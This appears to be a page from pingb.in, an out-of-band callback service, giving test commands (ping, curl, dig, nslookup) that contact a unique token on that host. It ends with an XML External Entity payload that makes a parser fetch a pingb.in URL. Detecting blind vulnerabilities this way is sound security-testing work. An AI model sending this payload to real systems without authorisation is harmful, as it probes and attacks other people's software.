$ ping -c1 -p 0032dfda3c8cf8bbfdf62af49f04f800 pingb.in
 

$ curl pingb.in/p/32dfda3c8cf8bbfdf62af49f04f8
 

$ dig 32dfda3c8cf8bbfdf62af49f04f8 @pingb.in
 

$ dig 32dfda3c8cf8bbfdf62af49f04f8.ns.pingb.in
 

C:\> nslookup 32dfda3c8cf8bbfdf62af49f04f8 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/32dfda3c8cf8bbfdf62af49f04f8">]>
    <foo>&xxe;</foo>